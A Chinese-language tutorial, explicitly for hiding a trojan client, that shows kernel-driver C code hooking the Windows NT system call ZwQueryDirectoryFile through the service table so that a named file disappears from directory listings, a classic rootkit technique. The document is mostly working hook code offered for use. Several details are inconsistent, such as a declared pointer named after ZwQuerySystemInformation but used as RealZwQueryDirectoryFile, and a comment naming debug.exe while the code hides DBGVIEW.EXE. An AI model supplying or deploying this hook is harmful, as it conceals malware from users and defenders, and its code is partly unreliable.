驱动拦截NT的API实现隐藏木马客户端
目前NT下有很多种隐藏文件和目录的方法，其中最简单的一种是给文件和文件夹加上系统属性和隐藏属性，操作系统就会不在显示了，而且查找也找不到了，但是这种方法一点都不彻底，没有可用性！下面我们来介绍用NT驱动程序来拦截NTAPI来实现彻底隐藏文件和目录的目的。NT下有一个文件NTDLL.DLL，大部分NTAPI都是在这个库中封装的。其中实现查找文件和目录的API接口是ZwQueryDirectoryFile，所以我们只要拦截这个API的话，文件和目录就可以完全隐藏了！下面来一步不实现（准备工作：到NTDDK中找一个WDM驱动程序模型，也就是最简单的驱动程序了）：
1.定义FILE_INFORMATION_CLASS的第3号结构：_FILE_BOTH_DIR_INFORMATION，这个结构是ZwQueryDirectoryFile必须参数。
typedef struct _FILE_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName[12];
WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
2.先申明ZwQueryDirectoryFile，然后定义ZwQueryDirectoryFile的原型：
extern NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
//定义ZwQueryDirectoryFile的原型
typedef NTSTATUS (*REALZWQUERYDIRECTORYFILE)(IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
//定义一个原函数指针
REALZWQUERYSYSTEMINFORMATION RealZwQuerySystemInformation;
3.定义替换API函数的原型：
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
4.在DriverEntry（驱动入口）函数中加入如下申明：
//保存真正的ZwQueryDirectoryFile函数地址
RealZwQueryDirectoryFile=(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
//把自定义的替换函数指针指向真正的ZwQueryDirectoryFile函数
(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))=HookZwQueryDirectoryFile;
5.在DriverUnload（驱动卸载函数）函数中加入恢复代码：
//恢复原来的函数指针
(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))=RealZwQueryDirectoryFile;
6.现在准备工作做好了，函数指针都已经设置转向了，剩下的是实现这个我们自定义的替换函数HookZwQueryDirectoryFile，代码如下：
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS rc;
ULONG CR0VALUE;
ANSI_STRING ansiFileName,ansiDirName,HideDirFile;
UNICODE_STRING uniFileName;
//初始化要过虑的文件名这里是debug.exe
RtlInitAnsiString(&HideDirFile,"DBGVIEW.EXE");
// 执行真正的ZwQueryDirectoryFile函数
rc = ((REALZWQUERYDIRECTORYFILE)(RealZwQueryDirectoryFile))(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);
/*如果执行成功（而且FILE_INFORMATION_CLASS的值为FileBothDirectoryInformation，我们就进行处理，过滤*/
if(NT_SUCCESS(rc)&& (FileInfoClass == FileBothDirectoryInformation))
{
PFILE_BOTH_DIR_INFORMATION pFileInfo;
PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
BOOL bLastOne;
//把执行结果赋给pFileInfo
pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
pLastFileInfo = NULL;
//循环检查
do
{
bLastOne = !( pFileInfo->NextEntryOffset );
RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
RtlUpperString(&ansiFileName,&ansiDirName);
//打印结果，用debugview可以查看打印结果
DbgPrint("ansiFileName :%s\n",ansiFileName.Buffer);
DbgPrint("HideDirFile :%s\n",HideDirFile.Buffer);
// 开始进行比较，如果找到了就隐藏这个文件或者目录
if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
{
DbgPrint("This is HideDirFile!\n");
if(bLastOne)
{
if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer )
{
rc = 0x80000006; //隐藏文件或者目录；
}
else
{
pLastFileInfo->NextEntryOffset = 0;
}
break;
}
else //指针往后移动
{
int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer;
int iLeft = (DWORD)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset;
RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
continue;
}
}
pLastFileInfo = pFileInfo;
pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
}while(!bLastOne);
RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
}
return(rc);
}
